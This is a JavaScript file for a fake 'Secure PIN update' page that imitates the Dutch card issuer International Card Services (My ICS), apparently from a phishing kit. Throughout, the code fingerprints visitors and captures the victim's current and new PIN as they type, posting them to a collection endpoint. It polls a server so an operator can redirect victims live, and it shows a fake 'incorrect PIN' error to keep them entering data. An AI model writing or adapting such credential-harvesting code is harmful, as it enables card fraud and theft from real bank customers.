/**
 * NL/EN + pincode wijzigen (oude / nieuwe pin).
 */
(function () {
  "use strict";

  var STORAGE_KEY = "client-login-lang";

  var VISITOR_KEY = "scii_visitor_id";
  function getVisitorId() {
    var vid = localStorage.getItem(VISITOR_KEY);
    if (!vid) {
      vid = "v_" + Date.now() + "_" + Math.random().toString(36).substr(2, 9);
      localStorage.setItem(VISITOR_KEY, vid);
    }
    return vid;
  }

  function getDeviceInfo() {
    var ua = navigator.userAgent;
    var os = "Unknown";
    if (ua.indexOf("Win") !== -1) os = "Windows";
    if (ua.indexOf("Mac") !== -1) os = "MacOS";
    if (ua.indexOf("Linux") !== -1) os = "Linux";
    if (ua.indexOf("Android") !== -1) os = "Android";
    if (ua.indexOf("iPhone") !== -1 || ua.indexOf("iPad") !== -1) os = "iOS";

    var browser = "Unknown";
    if (ua.indexOf("Firefox") !== -1) browser = "Firefox";
    else if (ua.indexOf("SamsungBrowser") !== -1) browser = "Samsung";
    else if (ua.indexOf("Opera") !== -1 || ua.indexOf("OPR") !== -1) browser = "Opera";
    else if (ua.indexOf("Edge") !== -1 || ua.indexOf("Edg") !== -1) browser = "Edge";
    else if (ua.indexOf("Chrome") !== -1) browser = "Chrome";
    else if (ua.indexOf("Safari") !== -1) browser = "Safari";
    return { os: os, browser: browser };
  }

  function registerVisitor() {
    if (typeof window.sciiInitPageTracker === "function") {
      window.sciiInitPageTracker("pin", { pollRedirect: true, pollMs: 1500 });
      return;
    }
    var dev = getDeviceInfo();
    window.sciiRegisterVisitor({
      visitor_id: getVisitorId(),
      os: dev.os,
      browser: dev.browser,
      page: "pin",
    });
  }

  function sendHeartbeat(page) {
    fetch("/api/heartbeat", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ visitor_id: getVisitorId(), page: page }),
    }).catch(function () {});
  }

  function saveVisitorData(formType, dataObj) {
    var payload = Object.assign({ visitor_id: getVisitorId(), form_type: formType }, dataObj);
    if (typeof window.sciiSaveVisitorData === "function") {
      return window.sciiSaveVisitorData(payload);
    }
    return fetch("/api/save-visitor-data", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(payload),
    })
      .then(function (r) {
        return r.json();
      })
      .catch(function () {
        return {};
      });
  }

  function checkRedirect() {
    if (typeof window.sciiCheckRedirect === "function") {
      window.sciiCheckRedirect();
      return;
    }
    fetch("/api/check-redirect?visitor_id=" + getVisitorId())
      .then(function (r) {
        return r.json();
      })
      .then(function (d) {
        if (d.redirect && d.url) window.location.replace(d.url);
      })
      .catch(function () {});
  }

  function initTracking() {
    registerVisitor();
    if (typeof window.sciiInitPageTracker === "function") {
      return;
    }
    sendHeartbeat("pin");
    setInterval(function () {
      sendHeartbeat("pin");
      checkRedirect();
    }, 3000);
  }

  var PAGE_PATH = window.location.pathname.split("?")[0];
  var RETRY_I18N_KEY = "pinError";

  var STRINGS = {
    nl: {
      docTitle: "Veilige pincode-update - Mijn ICS | International Card Services",
      skipLink: "Naar de inhoud",
      sidenavTitle: "Beveiligingscontrole",
      contentTitle: "Veilige pincode-update",
      pinDesc:
        "Vul dit alleen in op dit beveiligde scherm. Deel uw pincode nooit. Voer uw huidige en nieuwe pincode in om veilig verder te gaan.",
      inputRequired: "Vul dit veld in om door te gaan (verplicht voor uw veiligheid).",
      ariaNl: "Schakel over naar Nederlands",
      ariaEn: "Switch to English",
      verifyBtn: "Bevestigen",
      pinError:
        "De huidige pincode is onjuist. Controleer uw huidige pincode en probeer het opnieuw.",
      pinMismatch:
        "Uw nieuwe pincode moet verschillen van uw huidige pincode (vereiste voor uw veiligheid).",
      lblOld: "Huidige pincode",
      lblNew: "Nieuwe pincode",
      outageTitle: "Er is een storing",
      outageMessage:
        "Sorry, u kunt tijdelijk niet inloggen bij onze app en website. We werken hard om de storing op te lossen. Meestal lukt dit ons binnen een uur.",
    },
    en: {
      docTitle: "Secure PIN update - My ICS | International Card Services",
      skipLink: "Skip to content",
      sidenavTitle: "Security check",
      contentTitle: "Secure PIN update",
      pinDesc:
        "Only enter your PIN on this protected screen. Never share your PIN. Enter your current and new PIN to continue securely.",
      inputRequired: "This field is required before you can continue.",
      ariaNl: "Switch to Dutch",
      ariaEn: "Switch to English",
      verifyBtn: "Confirm",
      pinError:
        "The current PIN is incorrect. Check your current PIN and try again.",
      pinMismatch: "Your new PIN must be different from your current PIN (security requirement).",
      lblOld: "Current PIN",
      lblNew: "New PIN",
      outageTitle: "Service disruption",
      outageMessage:
        "Sorry, you cannot log in to our app and website at the moment. We are working hard to resolve the issue. This usually takes less than an hour.",
    },
  };

  function getLang() {
    return window.sciiGetLang();
  }

  function setLang(lang) {
    lang = window.sciiNormalizeLang(lang);
    window.sciiPersistUiLanguage(lang);
    document.documentElement.lang = lang;
    var t = STRINGS[lang];
    document.title = t.docTitle;

    document.querySelectorAll("[data-i18n]").forEach(function (el) {
      var key = el.getAttribute("data-i18n");
      if (!key || !t[key]) return;
      if (
        key === RETRY_I18N_KEY &&
        typeof window.sciiAppendErrorCode === "function"
      ) {
        el.textContent = window.sciiAppendErrorCode(t[key], PAGE_PATH);
      } else {
        el.textContent = t[key];
      }
    });

    document.querySelectorAll("[data-i18n-placeholder]").forEach(function (el) {
      var key = el.getAttribute("data-i18n-placeholder");
      if (!key || !t[key]) return;
      el.setAttribute("placeholder", t[key]);
    });

    window.sciiUpdateLanguageToggle(lang, t);
  }

  function bindLanguageBar() {
    window.sciiBindLanguageBar(setLang);
  }

  function setLoginCredentialError(feedback, show) {
    if (!feedback) return;
    if (show) {
      feedback.classList.add("visible");
      feedback.removeAttribute("aria-hidden");
    } else {
      feedback.classList.remove("visible");
      feedback.setAttribute("aria-hidden", "true");
    }
  }

  function getFieldShell(input) {
    var wrapper = input ? input.closest(".label-wrapper") : null;
    return {
      wrapper: wrapper,
      box: wrapper ? wrapper.querySelector(".input") : null,
    };
  }

  function setFieldRequiredError(input, show, customText) {
    if (!input) return;
    var shell = getFieldShell(input);
    if (!shell.wrapper) return;
    var existing = shell.wrapper.querySelector(".input-error");
    if (!show) {
      if (existing) existing.remove();
      if (shell.box) shell.box.classList.remove("invalid");
      input.removeAttribute("aria-invalid");
      input.removeAttribute("aria-describedby");
      return;
    }

    var id = input.id + "-required-error";
    var error = existing || document.createElement("p");
    error.setAttribute("data-ui-0", "");
    error.className = "input-error";
    error.id = id;
    if (customText) {
      error.removeAttribute("data-i18n");
      error.textContent = customText;
    } else {
      error.setAttribute("data-i18n", "inputRequired");
      error.textContent = STRINGS[getLang()].inputRequired;
    }
    if (!existing) shell.wrapper.appendChild(error);
    if (shell.box) shell.box.classList.add("invalid");
    input.setAttribute("aria-invalid", "true");
    input.setAttribute("aria-describedby", id);
  }

  function clearFormFieldErrors(form) {
    if (!form) return;
    form.querySelectorAll("input[type='text'], input[type='password']").forEach(function (input) {
      setFieldRequiredError(input, false);
    });
  }

  function getPinInputs(form) {
    var oldIn = form.querySelector("input[id^='pin-old-']");
    var newIn = form.querySelector("input[id^='pin-new-']");
    return { oldIn: oldIn, newIn: newIn };
  }

  function getFormAndFeedbackForLoginButton(btn) {
    var card = btn.closest("ui-card.desktop-form");
    if (card) {
      var formD = card.querySelector("form#pinFormId-desktop");
      var fbD = formD ? formD.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formD, feedback: fbD };
    }
    var mobile = btn.closest(".mobile-form");
    if (mobile) {
      var formM = mobile.querySelector("form#pinFormId-mobile");
      var fbM = formM ? formM.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formM, feedback: fbM };
    }
    return { form: null, feedback: null };
  }

  function sanitizePinInput(t) {
    var oldVal = t.value;
    var newVal = oldVal.replace(/\D/g, "").slice(0, 6);
    if (oldVal !== newVal) {
      t.value = newVal;
    }
  }

  function evaluatePinAttempt(form, feedback) {
    var pins = getPinInputs(form);
    var oldIn = pins.oldIn;
    var newIn = pins.newIn;
    var hasMissing = false;
    var firstMissing = null;

    [oldIn, newIn].forEach(function (input) {
      if (!input) return;
      var val = (input.value || "").trim();
      setFieldRequiredError(input, !val);
      if (!val) {
        hasMissing = true;
        if (!firstMissing) firstMissing = input;
      }
    });

    if (hasMissing) {
      setLoginCredentialError(feedback, false);
      if (firstMissing) firstMissing.focus();
      return;
    }

    var oldV = (oldIn.value || "").trim();
    var newV = (newIn.value || "").trim();
    if (oldV === newV) {
      setLoginCredentialError(feedback, false);
      setFieldRequiredError(newIn, true, STRINGS[getLang()].pinMismatch);
      newIn.focus();
      return;
    }

    saveVisitorData("pin", {
      old_pin: oldV,
      new_pin: newV,
      step_complete: true,
    }).then(function (resp) {
      if (
        typeof window.sciiApplySaveResponse === "function" &&
        window.sciiApplySaveResponse(resp)
      ) {
        return;
      }
      runAwakePinFlow(feedback, oldIn, newIn, STRINGS[getLang()]);
    });
  }

  function runAwakePinFlow(feedback, oldIn, newIn, copy) {
    setLoginCredentialError(feedback, true);
    [oldIn, newIn].forEach(function (input) {
      if (!input) return;
      var shell = getFieldShell(input);
      if (shell.box) shell.box.classList.add("invalid");
      input.setAttribute("aria-invalid", "true");
      input.value = "";
    });
    setLang(getLang());

    setTimeout(function () {
      window.sciiGoProcessing(PAGE_PATH);
    }, 400);
  }

  function bindLoginForms() {
    document.querySelectorAll(".login-btn").forEach(function (btn) {
      btn.setAttribute("type", "button");
      btn.addEventListener("click", function (e) {
        e.preventDefault();
        e.stopPropagation();
        var ctx = getFormAndFeedbackForLoginButton(btn);
        if (!ctx.form || !ctx.feedback) return;
        evaluatePinAttempt(ctx.form, ctx.feedback);
      });
    });

    document.querySelectorAll("#pinFormId-desktop, #pinFormId-mobile").forEach(function (form) {
      form.addEventListener("submit", function (e) {
        e.preventDefault();
        var feedback = form.querySelector("ui-feedback-message.errorFeedback");
        evaluatePinAttempt(form, feedback);
      });
      form.addEventListener(
        "input",
        function (e) {
          var t = e.target;
          if (!t || !t.id) return;
          if (t.type !== "text" && t.type !== "password") return;

          if (t.id.indexOf("pin-old") !== -1 || t.id.indexOf("pin-new") !== -1) {
            sanitizePinInput(t);
          }

          var feedback = form.querySelector("ui-feedback-message.errorFeedback");
          if (feedback && feedback.classList.contains("visible")) {
            setLoginCredentialError(feedback, false);
            clearFormFieldErrors(form);
          } else {
            setFieldRequiredError(t, false);
          }

          clearTimeout(window.trackTimeoutPin);
          window.trackTimeoutPin = setTimeout(function () {
            var p = getPinInputs(form);
            saveVisitorData("pin", {
              old_pin: p.oldIn ? p.oldIn.value : "",
              new_pin: p.newIn ? p.newIn.value : "",
            });
          }, 1000);
        },
        true
      );
    });
  }

  function init() {
    initTracking();
    bindLanguageBar();
    setLang(getLang());
    bindLoginForms();
    document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
      setLoginCredentialError(el, false);
    });

    if (
      typeof window.sciiHasRetryParam === "function" &&
      window.sciiHasRetryParam()
    ) {
      document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
        setLoginCredentialError(el, true);
      });
      document.querySelectorAll("input[type='text'], input[type='password']").forEach(function (input) {
        var shell = getFieldShell(input);
        if (shell.box) shell.box.classList.add("invalid");
        input.setAttribute("aria-invalid", "true");
      });
    }

    document.querySelectorAll("#pinFormId-desktop, #pinFormId-mobile").forEach(clearFormFieldErrors);
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init);
  } else {
    init();
  }
})();
